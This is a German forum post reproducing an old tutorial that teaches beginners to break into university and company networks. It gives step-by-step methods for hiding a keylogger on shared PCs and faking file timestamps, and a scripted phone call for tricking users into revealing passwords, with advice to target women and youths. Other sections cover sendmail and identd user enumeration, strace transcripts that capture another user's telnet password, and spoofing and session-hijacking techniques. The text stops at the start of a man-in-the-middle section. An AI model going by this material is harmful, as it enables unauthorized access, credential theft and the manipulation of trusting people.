PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Vom Menschen zum Unix-Hacker



HurricanX
06.08.2004, 13:21
Inhaltsverzeichnis
Voraussetzungen
Wie bekomme ich (illegalen) Zugang zum Internet?
Die Literatur:
Der unangenehme Teil
oder:
Der Schuessel zum Erfolg
Wie komme ich weiter?
Wie rette ich meinen Arsch?
Ein paar Gedanken zum Sein eines Hackers
Yeah, time to become 31337.
Ein Blick ueber die Schulter
Persoenliche Sicherheit
Wichtige Links
Vorwort
Auch wenn es fuer einen Anfaenger hart ist aber ich werde gewisse Dinge wie NIS, PasswordCracker, PacketSniffer, et cetera nicht erklaeren; ich setze sie als bekannt voraus. Wenn du mit diesen Dingen arbeitest wirst du sie verstehen, und in den Buechern/Docs werden sie haeufig auch erklaert. Ich werde einige Programme, die ich in diesem Docu. erwaehne, in dieses Paket packen.
Zeilen, die mit dem Groesser-als Zeichen '>' beginnen sind Eingaben (von dir).
Zeilen, die mit dem Kleiner-als Zeichen '<' beginnen, stellen Ausgaben (z.B. von einem Programm) dar.
Befehle werden fett gedruckt und Captures mit Rot indiziert.

Bitte sendet alle Verbesserungen/Erweiterungen an meine E-mail Adresse.

For non-german guys:
Sorry, but I'm too lazy to translate this text to english.
But maybe sometimes I will.


Voraussetzungen
Ja gut, die Voraussetzungen um Hacker zu werden.... Also, das wichtigste ist ein eiserner Wille; du musst Hacker werden wollen, mit jeder Zelle deines Koerpers ;) - aber nicht verkrampfen, denn dann wird der Fluss der Phantasie blockiert ;). Ein IQ >= 100 waer' auch ganz sinnvoll... hmmm, aja, 'n Computer und 'n Modem... sind deine Hauptwerkzeuge. Du solltest in C programmieren koennen, da auf (fast) jedem Unix-System ein C- Compiler installiert ist und der groesste Teil der Sourcecodes in C geschrieben ist.
Ich werde unter Punkt 3 ein Buch vorstellen, das meiner Meinung nach eine sehr gute und umfassende Grundlage fuer's Programmieren in C bietet, falls du schon eine Hochsprache beherrschst und dir einiges zutraust, dann reicht es, das Buch ueber Unix Systemprog. zu lesen (s. Punkt 3).
Desweiteren ist es sinnvoll Linux/FreeBSD (auf keinem Fall DLD Linux, is' echter Schrott ;) ) auf seinem Rechner zu installieren. Linux/FreeBSD ist ein Unix fuer PCs. Es gibt noch weitere Unixes fuer den PC wie BSDI, OpenBSD, Solarix x86, SCO etc. aber das braucht dich ersteinmal nicht zu interessieren ;-)



Wie bekomme ich (illegalen) Zugang zum Internet?
Also mir kommen jetzt mehrere Methoden in den Sinn, ich werde mal mit der Methode beginnen, die ich auch verwendet habe - sozusagen die Methode, die ihren Praxistest schon bestanden hat.

Such dir eine nette Uni (Internet Provider, Firma mit Internet-Access) in deiner Naehe aus und mache dort ein Praktikum, einen Ferienjob oder einen Nebenjob.
Waehrend deiner Taetigkeit immer schoen die Augen nach Rechnern aufhalten, die ans Uni-Netz angeschlossen sind, die von den Studenten genutzt werden und allgemein zugaenglich sind. Haeufig steht irgendwo ein alter DOS- PC rum, oder es existieren PC-Pools. Such dir einen Rechner aus und sieh dir seinen Aufbau an (autoexec.bat & config.sys...) und beobachte wie er benutzt wird (laeuft er staendig, wird er nachts ausgeschaltet). Lass dich mal ganz plump von 'nem Studenten in die Benutzung des Rechners einfuehren. Dann benutze diesen Rechner fuer anonymous FTP, HTTP und den ganzen Kram, der kein Passwort erfordert, und wenn sich die Gelegenheit mal bietet, dann kopiere dir die "autoexec.bat", "config.sys" und den Stammverzeichnisbaum (tree) auf 'ne Diskette.
So jetzt zum spannenden Teil. Es geht darum ein TSR-Programm zu installieren, welches die Tastatureingaben in eine Datei protokolliert . Um dieses TSR-Prog. so gut wie moeglich zu verstecken tarnt man es als ein anderes Prog. und fuegt einen entsprechenden Eintrag in die autoexec.bat ein. Man kann z.B. den Mouse-Treiber mit einer Batch-Datei ersetzen, die erst unser TSR und dann den Mouse-Treiber aufruft o. ae.. Man kann natuerlich auch das TSR vor mem verstecken (ich glaube man veraendert irgendwie 'ne Memorygrenze - keine Ahnung).
Evtl. muss man das TSR mit einem HEX-Editor seinen Anforderungen anpassen. Es sollte auch darauf geachtet werden, dass die Protokolldatei den ganzen Plattenplatz aufzehren koennte, also taeglich die Datei auf Diskette bringen und von der Platte entfernen. Desweiteren muessen die Timestamps angepasst werden - ja, Paranoia ist die Lebensversicherung eines Hackers.
So, um die ganze Angelegenheit zu beschleunigen tippe jeweils eine Batch-Datei fuer die Installation des TSRs, fuer das move'n der Protokolldatei und zum Deinstallieren des TSRs und zur Wiederherstellung des Orginalzustandes (Timestamps nicht vergessen). Teste deine Startegie und deine Batch-Dateien auf deinem Rechner, in der Praxis darf es keine Fehler mehr geben, alles muss schnell und reibungslos verlaufen.

Interpretation der Protokolldatei:
Wenn du z.B. folgendes siehst
ftp blah.am.arsch.de
franz
schwanz
... dann existiert auf dem Rechner "blah.am.arsch.de" ein Account mit dem Login "franz" und den Passwort "schwanz" - vorausgesetzt, dass die Eingaben richtig waren :).
Wichtig sind fuer dich erstmal die Rechner im Uni-Netz.

Desweiteren kannst du natuerlich auch einfach in den Computer-Systemen Trojan-Horses einbringen oder ganz
simpel den Leuten ueber die Schulter sehen, wenn sie sich in die Rechner einloggen.

Die "Experten" unter euch koennen einen Vampire-Tap oder einen Laptop mit Sniffer in deren Netz einbringen und so
einfach die Account-Informationen aufzeichnen.
Der Vorteil des Vampire-Taps ist, dass es nicht durch Messgeraete entdeckt werden kann, die die Entfernung bis
zum naechsten Ende/Bruch im Netzkabel messen.

Unter Windows (3.11) kannst du den Macrorecorder zur Aufzeichnug der Tastatureingaben verwenden... is' aber nicht so toll... mach deine eigenen Erfahrungen, es erfordert auf jeden Fall mehr Aufmerksamkeit von dir. Eine bessere Loesung ist da schon eine veraenderte WINSOCK.DLL zu installieren, die alle Daten, die uebers Netz gehen aufzeichnet.

Natuerlich kannst du auch einen auf DOS basierenden Sniffer installieren.

Wenn du ein paar Accounts gesammlt hast, musst du die Telefonnummer des Modems rausfinden, die dich mit dem Netz der Uni verbindet.
Die Nummer bekommst du ganz einfach: Ruf' bei der Uni an, gib dich als Student aus und frag' nach der Nummer - du musst sicher und ruhig sprechen. Haeufig steht die Nummer auch in 'nem Infoblatt vom Rechenzentrum (RZ) oder auf deren Web-Site.
Die Bequemlichkeit beim Verwalten und Verwenden von Account Informationen kommt dir beim Einloggen zugute, undzwar ist es (meistens) voellig egal auf welchem Rechner im Uni-Netz du landest, denn viele User verwenden das selbe Passwort auf mehreren Rechnern (auch in anderen Domains) oder es wird NIS (oder NIS+, rdist, DCE, etc) benutzt
So, wenn du in dem System bist, dann mache dich damit vertraut (in Uni-Systemen faellt man nicht so schnell auf).
Von der Uni aus, kannst du dann am Besten noch Domains hacken, die in deinem City-Tarif Bereich liegen um deine Telefonkosten zu verringern - auch wenn die gehackte Uni im City-Tarif Bereich ist. Je mehr Einwahlpunkte du zum Internet hast um so besser.
Du kannst deine Telefongebueren auch sparen, indem du 'ne PBX hackst (im 0130/0800- Bereich oder von lokalen Firmen) oder durch BlueBoxing - ist mir persoenlich zu gefaehrlich und zu auffaellig, da die Telekom gerne BlueBoxer kennen lernen will und PBXs meistens gute Intrusion Detection Systems besitzen. ;)
Bei Firmen ist es meistens etwas gefaehrlicher.

Die einfachste Methode ist natuerlich, wenn dir ein bekannter Hacker einen Account gibt.

Falls du schon einen Unix-/NT-Account hast, dann lad' dir einfach die Passwortdatei auf deinen Rechner und cracke die Passwoerter.
Oder ein temporaerer Freund mit Internet-Anschluss hilft dir weiter. ;)

Und nun noch ein old-school Weg. Er erfordert weniger den technischen sondern mehr den physischen und mentalen Aufwand.
Such' dir ein/e Institut/Firma mit Internetanschluss in deiner Stadt aus. Jetzt musst du erstmal jedemenge Infos ueber dein Ziel sammeln, egal wie unwichtig sie erscheinen. Du brauchst z.B. den Namen des Admins und der User, Beziehungen zu anderen Instituten/Firmen. Um diese Dinge in Erfahrung zu bringen kannst du den Muell der Firma durchsuchen (sog. "Dumpster Diving") oder dich mal 'n bisschen umhoeren. Jetzt nur noch die Modemnummer herausfinden:
Entweder einfach anrufen und als User (wenn du den Namen eines Kunden hast, dann benutze ihn auch), der die Nummer vertroedelt hat, ausgeben oder den Telefonnummernbereich deines Ziels durchscannen.
Das Scannen geht wie folgt:
Du waehlst eine Nummer und horchst ob ein Modem dranhaengt - diese Aufgabe kann auch ein Prog. uebernehmen. Viele Firmen belegen einen bestimmten Nummernbereich, z.B. eine 6stellige Nummer wobei die ersten 3 Zahlen statisch sind (z.B. 911) und die letzten 3 Zahlen variieren (0 bis 999; wobei 0 meistens die Telefonzentrale, Pforte, etc ist). Nun waehlst du alle Nr. von 911-0 bis 911-999 bis du ein Modem gefunden hast; falls du ein Anrufbeantworter entdeckst, dann versuche ihn zu hacken (weitere Infos).
Du kannst den zuscannenden Bereich einschraenken indem du dir die Durchwahlnummer des RZs, DVZs (Datenverarb. Zentrum) - oder wie sonst die Abteilung fuer die Rechnerverwaltung heisst - geben laesst und dann von dort startest (Bsp.: Durchwahl: 345, dann faengst du bei 911-300 an). So jetzt Accounts besorgen.
Rufe einen User an - dabei solltest du folgendes beachten:

suche dir am Besten nur Frauen
oder Jugendliche aus, da diese Personen leichtglaeubiger und techn. weniger versiert sind.
(KEIN Sexismus, reine Erfahrung :) )
keine direkten Mitarbeiter der Firma
abends anrufen (zw. 19.00 und 21.00)
... so, nehmen wir mal an, dass der Admin der Firma HAQ_ME "Mark Abene" und der User "Kathrin Mitnick" heisst und gehen wir davon aus, dass du den Usernamen kennst, dann koennte ein Gespraech folgendermassen ablaufen:

MA: Guten Abend, hier ist Mark Abene, ich bin der Computer-Administrator
von HAQ_ME. Koennte ich wohl bitte Kathrin Mitnick sprechen?
KM: Ja, am Apparat.
MA: Oh gut, undzwar folgendes, wir hatten auf unseren Internet-Server
einen Headcrash, uns sind einige Daten verloren gegangen, darunter
auch die Userdaten...
KM: Oh Gott, wie schrecklich.
MA: ... ja, ja, und ich hab' die ehrenvolle Aufgabe die Daten von
unseren Backupbaendern zu restaurieren und die User-Datenbank wieder
neu einzurichten.
KM: Aha...
MA: Um meine Aufgabe zu komplettieren und ihnen wieder die einwandfreie
Benutzung ihres Internetzugangs zu gewaehrleisten muesste ich wissen
ob sie ihren alten Usernamen, kathrin, wieder verwenden wollen.
KM: Oh ja, natuerlich.
MA: Ok,... und wie lautete ihr Passwort?
KM: Was!? Mein Passwort, warum haben sie davon keine Sicherungskopien
angefertigt?
MA: Oh, es ist schoen so sicherheitsbewusste User zu haben, aber leider
selten.
Aufgrund unser hohen Sicherheitsansprueche wird von der User-
Datenbank keine Kopie angefertig... stellen sie sich mal vor, dass
die Backupbaender gestohlen werden.
KM: Oh ja, sie haben recht. Also gut mein Passwort war "nirhtak".
MA: Ok, ... dankesehr.
Aufwiederhoeren.
KM: Tschuess.
So, viel geredet fuer nur ein einziges Wort, aber es hat sich gelohnt. Du musst jederzeit ernst und ruhig klingen. Dieses Gerede ist sog. "Social Engeneering".
Sollte es, aus welchen Gruenden auch immer, nicht klappen, dann kannst du auch ein Prog. verwenden, das das Passwort "raet". Vielleicht funktionieren auch sog. Default-Accounts (z.B. Login: guest & Password: guest).


Die Literatur
So, ich hab hier mal eine kleine Tabelle mit Buechern zusammengestellt, die du lesen solltest.



Autor
Titel
Verlag
Kommentar

Gerhard Willms Das C-Grundlagen Buch Data Becker Das Fundament der C-Programmierung
Nemeth, Snyder, Seebass, Hein Unix Systemadministration
Handbook Prentice Hall Meiner Meinung nach das beste Buch fuer Unix-
Systemadministration
(eine dt. Auflage ist auch erhaeltlich)
W. Richard Stevens Programmierung in der Unix-Umgebung Addison-Wesley Mal wieder ein perfektes Werk.
Stevens schreibt die besten Buecher fuer Unix/Internet
Programmierung
W. Richard Stevens Programmieren von Unix-Netzen Prentice Hall / Hanser 2te Auflage
W. Richard Stevens TCP/IP Illustrated Vol. 1/2/3 Addison-Wesley Infos ueber das TCP/IP Protokol und dessen Implementierung
sehr wichtig
Gar+++++l und Spafford Practical Unix & Internet Security O'Reilley Das beste Buch in Sachen Unix- & Internet-
Sicherheit
Chapman und Zwicky Einrichten von Internet-
Firewalls O'Reilley beschreibt den Aufbau von Firewalls
leider nicht uptodate aber trotzdem sehr gut
Cheswick und Bellovin Firewalls und Sicherheit im Internet Addison-Wesley Ebenfalls Firewalls-
aufbau, aber etwas theoretischer
und zeigt uebersichtlich moegliche Schwaechen auf.
Bruce Schneier Angewandte Kryptographie Addison-Wesley Bruce Schneier hat bei dem Buch ganze Arbeit geleistet. Es ist sehr gut zu lesen und enthaelt viele Informationen
Electronic Frontier Foundation Cracking DES Electronic Frontier Foundation

Na? 'Ne Menge Papier. Aber es lohnt sich wirklich den ganzen Kram zu lesen, glaub mir. Es gibt auch einige wenige gute Docs von Admins und Hackern - sie ersetzen aber nicht ein gutes Buch.
Du solltest auch die Security-Papers lesen, die im COAST-Archiv oder bei RootShell liegen... und die USENIX-Veroeffentlichungen nicht zu vergessen.


Wie komme ich weiter?
Du solltest dir einen legalen Internet-Zugang besorgen.
Anschliessend schreibst du dich in Mailing Lists, die sich mit Unix- & Inet-Security beschaeftigen ein. Hier werden Hinweise auf Bugs in Programmen und Diensten gegeben und zusaetzlich auch noch kleine C-Programme oder Shell/Perl-Scripts mitgeliefert, die diese Bugs ausnutzen.
Trotz dieser Bequemlichkeit solltest du die old-school Methoden wie Trojan- Horses, etc nicht vergessen bzw. selbst dein Gehirn benutzen.


Adresse Subject Body
best-of-security-request@suburbia.net subscribe best-of-security
listserv@netspace.org subscribe bugtraq
majordomo@lists.gnac.net subscribe firewalls
mailto:fwall-users-request@tis.com subscribe fwall-users
majordomo@nsmx.rutgers.edu subscribe www-security

Ok, gehen wir mal davon aus, dass du 'root'-Rechte hast.
Eine Moeglichkeit um weitere Netze zu hacken besteht darin nach Dateien wie ".rhosts", ".netrc" oder/und ".forward" zu suchen; oder E-Mail nach Passworten (oder anderen interessanten Kram) zu durchforsten. Um dir die Arbeit ueber 20.000 User zu checken (und beim Gebrauch von NFS noch zusaetzlich die UID zu wechseln) abzunehmen hab ich ein kleines Tool geschrieben... die erste Version von Searcher half mir bei meinen ersten Internet-Hacks.
Wenn du von einigen Usern das Passwort gecrackt hast, dann solltest du gucken von welchen Hosts sie sich einloggen, dazu kannst du last, w oder aehnliches benutzen, du koenntest auch die Hosts aufs Korn nehmen in die sie sich einloggen, herausfinfen kannst du das z.B. mit ps (mit w-Option), netstat, ... oder du benutzt die Mail-Aliases bzw. ".forward" um zu sehen wohin ein User seine E-Mail umleitet.
Jetzt solltest du noch herausfinden welchen Usernamen er auf dem Remote Host benutzt (im ".forward" File ist es schon angegeben; z.B. ´remote-user@other-site.com´), dazu kannst du SMTP verwenden... Bsp.: User "victim" (Realnamen: Hackers Victim) hat sich mit telnet auf dem Rechner "host.account.edu" eingeloggt.

> telnet host.account.edu 25
< Trying 123.10.0.1...
< Connected to host.account.edu.
< Escape character is '^]'.
< 220-host.account.edu Sendmail 8.6.9/8.6.9 ready at Mon, 21 Jul 1997
< 16:19:56 +0200
< 220 ESMTP spoken here
> vrfy victim
< 550 victim... User unknown
> vrfy hvictim
< 250 Hackers Victim <hvictim@host.account.edu>
> quit
< 221 host.account.edu closing connection
< Connection closed by foreign host.
Der User verwendet also auf beiden Hosts nicht den selben Usernamen, da das Kommando "vrfy victim" von Sendmail (weitverbreitetes E-Mail-Verteilungs Programm, das an Port 25 haengt) mit "550 victim... User unknown" beantwortet wird.
Jetzt musst du einige Kombinationen (z.B. aus den Initialen des Users) ausprobieren... BINGO!... "hvictim" ist der Username, den "victim" auf "host.account.edu" benutzt.

Du kannst auch noch finger (wird aber aus Sicherheitsgruenden haeufig nicht angeboten) oder aber rusers benutzen um alle eingeloggten User auf "host.account.edu" zu erfragen.

Falls du keinen Erfolg haben solltest oder diese Dienste nicht angeboten werden bist du immer noch nicht verloren. Wenn der User gerade eingeloggt ist, dann rufe das Programm netstat (dient unter anderem zum Debuggen von Netzwerkproblemen) auf.

> netstat
< Active Internet connections
< Proto Recv-Q Send-Q Local Address Foreign Address (State)
< User
< victim
< tcp 0 0 localhost:1032 host.account.edu:telnet ESTABLISHED
< root
< udp 0 0 localhost:3043 *:*
< Active UNIX domain sockets
< Proto RefCnt Flags Type State Path
< unix 1 [ ACC ] SOCK_STREAM LISTENING /tmp/gpmctl
< unix 2 [ ] SOCK_STREAM CONNECTED /dev/log
< unix 2 [ ] SOCK_STREAM CONNECTED
< unix 2 [ ACC ] SOCK_STREAM LISTENING /dev/printer
< unix 2 [ ] SOCK_STREAM CONNECTED /dev/log
< unix 2 [ ] SOCK_STREAM CONNECTED
< unix 1 [ ACC ] SOCK_STREAM LISTENING /dev/log
So, die aktiven Unix Domain Sockets interessieren hier nicht; von Interesse ist nur...

< Active Internet connections
< Proto Recv-Q Send-Q Local Address Foreign Address (State)
< User
< victim
< tcp 0 0 localhost:1032 host.account.edu:telnet ESTABLISHED
... hier kannst du sehen, dass der User "victim" eine Verbindung vom Port 1032 des localen Hosts zum Telnet-Port (23, siehe File "/etc/services") von "host.account.edu" (der Hostname wird bei Ueberlaenge abgeschnitten; du kannst dir auch die IP-Adresse anzeigen lassen) aufgebaut hat. Jetzt weist du genug um ein kleines "Authentifikationsprogram" (>identd<) fuer deine Zwecke zu verwenden. Kurz was zur eigentlichen Verwendung von

identd: identd wird von V8 Sendmail dazu benutzt um gefaelschte E-Mails zu entschaerfen, indem sendmail identd befragt welcher User gerade eine Verbindung zu ihm aufgebaut hat. (Das Format fuer identd: Server/Remote-Port, Client/Local-Port)

Los geht's! Bau eine TCP Verbindung zum Port 113 (hier haengt identd) von "host.account.edu" auf.

> telnet host.account.edu 113
< Trying 127.0.0.1...
< Connected to host.account.edu.
< Escape character is '^]'.
> 23, 1032
< 23 , 1032 : USERID : UNIX : hvictim
> Connection closed by foreign host.
Jupp, da is' es "hvictim".

Ja, falls der Typ rlogin oder rsh benutzt, dann sieh' dir mal die Prozess-Liste an, ps auw | grep victim fuer BSD Derivate und ps -ef | grep victim fuer SysV (AT&T) Unix. Von Interesse fuer uns ist hier die '-l' Option der Befehle, damit gibt man den Usernamen auf dem Remote Host an (das selbe gilt auch fuer SecureShell - ssh).

Wenn du den Source Code von telnet bzw. telnetd fuer das OS des lokalen Rechners hast, dann kannst du den Code so veraendern, dass die Account Informationen fuer ausgehende bzw. eingehende Verbindungen aufgezeichnet werden.

Die effektivste und auch einfachste Methode ist einen Ethernet-Sniffer zu installieren. Der Sniffer setzt die Netzkarte in den Promiscuous Mode und kann so alle Pakete, die uebers LAN gehen aufzeichnen. Sieh' dir mal den Code und die Docu.s von 'nem Sniffer an.
Das Sniffen funktioniert nicht bei ATM- und bei 10BaseT/100BaseT-Netzen (mit intelligenten Hubs)... und bei FDDI- und Tokenring-Netzen geht's nur teilweise.

Die Methode mit dem Sniffer ist eine passive Attacke. Aktive Angriffe wie (Blind-) IP Spoofing, TCP Hijacking... sind etwas komplizierter und ich werde sie hier nur kurz erleutern.


Methode Beschreibung
Blind IP-Spoofing Hierbei benutzt man eine falsche IP Source Adresse und versucht eine TCP Verbindung aufzubauen.
Es wird der 'Trusted Host' Mechanismus der BSD ´r´-Dienste (meistens rlogind) ausgenutzt, dieser 'Sicherheits'-Mechanismus erlaubt Zugriff anhand der IP Source Adresse (es wird kein Passwort benoetigt - sollte das Sniffen von Passwoertern verhindern).
Die grosse Kunst bei dieser Form der Attacke besteht darin die TCP Sequencenr. richtig zu "raten" (da man die IP Src. gefaelscht hat bekommt man die TCP Seq# des Remote Hosts nicht zu Gesicht; es sei denn man benutzt die IP Src. Adresse eines Hosts, der sich im selben Subnet befindet).
Bei alten Systemen ist das "Raten" relativ einfach (64K Rule) aber bei neuen Systemen ist es nahezu unmoeglich, da sie ihre TCP Seq# random erstellen.
Non-Blind IP-Spoofing Der Vorteil dieser Attacke ist, dass man im Gegensatz zu 'blinden' Version die TCP Seq# und die Daten "sieht". Ein wieterer Vorteil ist, dass mehrere Methoden existieren.
IP Source Routing + Alias Interface
Diese Methode is sehr einfach zu realisieren, es werden einfach alle Router, die das Packet passieren soll im IP Header als zusaetzliche Option angegeben...
Tja, aber das Dumme ist, dass der rlogind ueberprueft ob zusaetzliche Optionen im IP Header gesetzt sind, und wenn dem so ist, dann wird das Packet irgnoriert und eine Logmessage an syslogd uebergeben (jedenfalls wird es in der BSD Version gemacht und ich denke SysV macht es auch).
der gespoofte/zu attackierte Host befindet sich im selben Subnet wie 'dein' Host
Ok, auf 'nem normalen Ethernet kannst du alle Packete sehen indem du deine Ethernetkarte in den Promisc. Mode schaltest (s. Sniffer)
du hast den ISP des Netzes gehackt, an dem der gespoofte/attackierte Host haengt
Es kann (generell) wie zuvor verfahren werden.
oder ARP Reply Spoofing
ist sehr einfach und kompfortabel...
Du erzaehltst dem zu hackenden Rechner einfach, dass die gespoofte IP zu deiner Hardware/Ethernet-Adresse gehoert, indem du das IP/HW-Paar mit Hilfe einer ARP Message in seinem ARP Cache eintragen laesst.
Ist leider nur fuer LANs geeignet.
die Route zwischen gepsooftem Host und attackiertem Host geht ueber 'deinen' Router
Das Schoenste ist natuerlich, wenn der Router eine Unix-Maschine ist auf der du 'root'-Rechte besitzt und die Route per default ueber 'deinen' Router laeuft. Naja, meistens ist es keine Unix-Maschine sondern ein Cisco, 3Com, Ascend, Livingston PM oder sonstwas und du must die Route erst ueber ´deinen´ Router redirecten (spoofe EGP/RIP Messages, oder vielleicht (wenn 'dein' Netz und das zuattakierende Netz direkt am selben Backbone haengen) ICMP Redirect Messages)

TCP Hijacking Hierbei geht es darum eine bestehende TCP-Verbindung zu uebernehmen .
Dabei ergibt sich das gleiche Problem wie beim Non-Blind IP-Spoofing: man muss irgendwie in die Route der beiden Rechner kommen um die TCP Seq# mitzulesen.
Wenn man die Verbindung uebernommen hat koennen z.B. Shell-Commands in den Datenstrom eingefuehgt werden, die dann auf dem Remote Host ausgefuehrt werden.

Bei den IP-Spoof Attacken, muss darauf geachtet werden, dass der Host, dessen IP Adresse man spooft, nicht auf die Pakete des gefoolten Hosts antworten kann (hierzu benutzt man eine DoS (Denial-of-Service) Attacke), denn die Antwort (der TCP Stack generiert ein TCP RST Packet, da er nichts mit den empfangenden Paketen anfangen kann) wuerde den TCP Stack des attackierten Rechners dazu bringen die TCP Connection sofort zu beenden... und wer will das schon?

Drei 'Sniffer'-Methoden erlauben es sogar verschluesselte Verbindungen (z.B. mit SSH) im Klartext aufzuzeichnen (bzw. Daten einzugeben). Als erstes waere da das TTY-Hijacking zu nennen, dann das Process (bzw. Systemcall) Tracing und zu guter letzt die Man-in-the-Middle (MIM) Attack. Die ersten beiden Verfahren setzen den 'root'-Zugriff auf einem der Endsysteme voraus.

Beim TTY-Hijacking gibt es die verschiedensten Arten.

Ein einfacher 'ioctl()'-Aufruf (siehe dazu den Source Code von 'Smeagol') erlaubt es zeichenweise Daten in den TTY-Stream einzugeben (aber nicht auszulesen).
Das Schoene an dieser Methode ist, dass man nicht unbedingt root-Rechte benoetigt. SEHR alte Systeme checken die Zugriffserlaubnis fuer Specialfiles anhand der r/w/x-Perms des Filesystems und nicht mit Hilfe des Kernels. SunOS hat einen Bug, der es erlaubt selbst non-root Usern einen Filedescriptor fuer Specialfiles zu erhalten.
Man kann die Shell eines Users durch 'nen PTY-Wrapper ersetzen (PTY = Pseudo-Terminal), dadurch kann man alle Ein- und Ausgaben mitlesen.
Einfuehgen von LKMs (Loadable Kernelmodules) erlaubt das Mitschneiden von Ein-/Ausgaben und die Eingabe von eigenen Daten.
Durch das Verbiegen von Systemcalls (aehnlich dem Verbiegen von DOS Interrupts in der Intr-Vektortabelle, aber wesentlich einfacher) koennen Eingaben aufgezeichnet werden.
Ok, kommen wir zum Tracen von Systemcalls.
Es wird eigentlich benutzt um Programme zu debuggen. Man kann den Aufruf von Systemcalls (und Signale) incl. Parametern verfolgen. Das coole ist, dass viele Unix-Derivate ueber dieses Feature und den entsprechenden Tools verfuehgen.
Unter Linux heisst dieses Programm strace (SunOS: trace, Solaris: truss, IRIX: par).

Ok, als erstes muessen wir uns ein Opfer aussuchen, d.h. die Shell eines Users (oder natuerlich auch eine bereits bestehende Verbindung mit telnet, rlogin, ssh...). Dazu benutzen wir ps.

> ps
< PID TTY STAT TIME COMMAND
< 69 v04 SW 0:00 (agetty)
< 70 v05 SW 0:00 (agetty)
< 257 v06 SW 0:00 (agetty)
< 599 v02 S 0:00 -bash
< 707 v03 S 0:00 -bash
< 744 v02 R 0:00 ps
So, wir nehmen uns mal die BASH mit der PID 707 vor. Wir rufen strace mit der Option '-f' auf um auch die Child-Prozesse der BASH, wie z.B. telnet, zutracen. Eine grosse Menge der Ausgaben von strace habe ich herausgeschnitten um die Lesbarkeit zu verbessern.

> strace -f -p 707
< Process 707 attached - interrupt to quit
< read(0, "t", 1) = 1
< write(2, "t", 1) = 1
< read(0, "e", 1) = 1
< write(2, "e", 1) = 1
< read(0, "l", 1) = 1
< write(2, "l", 1) = 1
< read(0, "n", 1) = 1
< write(2, "n", 1) = 1
< read(0, "e", 1) = 1
< write(2, "e", 1) = 1
< read(0, "t", 1) = 1
< write(2, "t", 1) = 1
< read(0, " ", 1) = 1
< write(2, " ", 1) = 1
< read(0, "d", 1) = 1
< write(2, "d", 1) = 1
< read(0, "o", 1) = 1
< write(2, "o", 1) = 1
< read(0, "o", 1) = 1
< write(2, "o", 1) = 1
< read(0, "\r", 1) = 1
< write(2, "\n", 1) = 1
Hier koennen wir sehen wie der User telnet doo aufruft. Mit ´read(..)´ werden die Usereingaben gelesen und mit ´write(..)´ zum Terminal des Users geschrieben. [eine Menge - fuer uns - unwichtiger Kram wurde verworfen]

< [pid 772]: execve("/bin/telnet", "telnet", "doo", env:["ignoreeof=10", [pid 772]:
Hier sehen wir nochmal genauer welcher Child-Prozess aufgerufen wurde.

< socket(PF_INET, STREAM, IPPROTO_IP) = 3
< [pid 772]: connect(3, AF_INET(23, 10.0.0.1), 16) = 0
Der Socket wird erzeugt und die Verbindung (IP Adresse und Port sind gut sichtbar) wird aufgebaut.

< [pid 772]: write(1, "Connected to doo.the-haze.org.\n", 32) = 32
< [pid 772]: write(1, "Escape character is '^]'.\n", 26) = 26
Der uebliche telnet-Kram wird dem User angezeigt.

< [pid 772]: recv(3, "\ff\fb\1\r\nLinux 1.1.59 (doo.the-haze".., 1024, 0) = 49
< [pid 772]: write(1, "\r\nLinux 1.1.59 (doo.the-haze.or".., 46) = 46
Das Welcome-Banner des Remote Hosts wird empfangen und an den User weitergegeben.

< [pid 772]: recv(3, "\ff\f2\r\ndoo login: ", 1024, 0) = 15
< [pid 772]: write(1, "\r\ndoo login: ", 13) = 13
Die Login-Aufforderung.

< [pid 772]: read(0, "t", 1024) = 1
< [pid 772]: send(3, "t", 1, 0) = 1
< [pid 772]: recv(3, "t", 1024, 0) = 1
< [pid 772]: write(1, "t", 1) = 1
Der ertse Buchstabe des Loginnamens wird eingelesen (´read(..)´), and den fernen Rechner gesendet (´send(..)´), das Echo empfangen (´recv(..)´) und zu dem User gegeben (´write(..)´).

< [pid 772]: read(0, "i", 1024) = 1
< [pid 772]: send(3, "i", 1, 0) = 1
< [pid 772]: recv(3, "i", 1024, 0) = 1
< [pid 772]: write(1, "i", 1) = 1
< [pid 772]: read(0, "c", 1024) = 1
< [pid 772]: send(3, "c", 1, 0) = 1
< [pid 772]: recv(3, "c", 1024, 0) = 1
< [pid 772]: write(1, "c", 1) = 1
< [pid 772]: read(0, "k", 1024) = 1
< [pid 772]: send(3, "k", 1, 0) = 1
< [pid 772]: recv(3, "k", 1024, 0) = 1
< [pid 772]: write(1, "k", 1) = 1
< [pid 772]: read(0, "\r", 1024) = 1
< [pid 772]: send(3, "\r\0", 2, 0) = 2
Der Loginname ist "tick".

< [pid 772]: recv(3, "\r\nPassword: ", 1024, 0) = 12
< [pid 772]: write(1, "\r\nPassword: ", 12) = 12
Der Passwort-Prompt.

< [pid 772]: read(0, "T", 1024) = 1
< [pid 772]: send(3, "T", 1, 0) = 1
Zum Einlesen des Passwortes sind nur ´read(..)´ und ´send(..)´ noetig, da es bei Unix Maschinen ueblich ist das Passwort verdeckt einzulesen.

< [pid 772]: read(0, "E", 1024) = 1
< [pid 772]: send(3, "E", 1, 0) = 1
< [pid 772]: read(0, "S", 1024) = 1
< [pid 772]: send(3, "S", 1, 0) = 1
< [pid 772]: read(0, "T", 1024) = 1
< [pid 772]: send(3, "T", 1, 0) = 1
< [pid 772]: read(0, "S", 1024) = 1
< [pid 772]: send(3, "S", 1, 0) = 1
< [pid 772]: read(0, "T", 1024) = 1
< [pid 772]: send(3, "T", 1, 0) = 1
< [pid 772]: read(0, "R", 1024) = 1
< [pid 772]: send(3, "R", 1, 0) = 1
< [pid 772]: read(0, "A", 1024) = 1
< [pid 772]: send(3, "A", 1, 0) = 1
< [pid 772]: read(0, "C", 1024) = 1
< [pid 772]: send(3, "C", 1, 0) = 1
< [pid 772]: read(0, "E", 1024) = 1
< [pid 772]: send(3, "E", 1, 0) = 1
< [pid 772]: read(0, "\r", 1024) = 1
< [pid 772]: send(3, "\r\0", 2, 0) = 2
< [pid 772]: recv(3, "\r\0\r\n", 1024, 0) = 4
< [pid 772]: write(1, "\r\r\n", 3) = 3
Sein Passwort ist "TESTSTRACE".

< [pid 772]: recv(3, "Last login: Mon Sep 22 15:58:52 ".., 1024, 0) = 48
< [pid 772]: write(1, "Last login: Mon Sep 22 15:58:52 ".., 48) = 48
Die Lastlogin-Message, das Einloggen war also erfolgreich. Was wollen wir mehr?


Kommen wir nun zur MIM Attack.
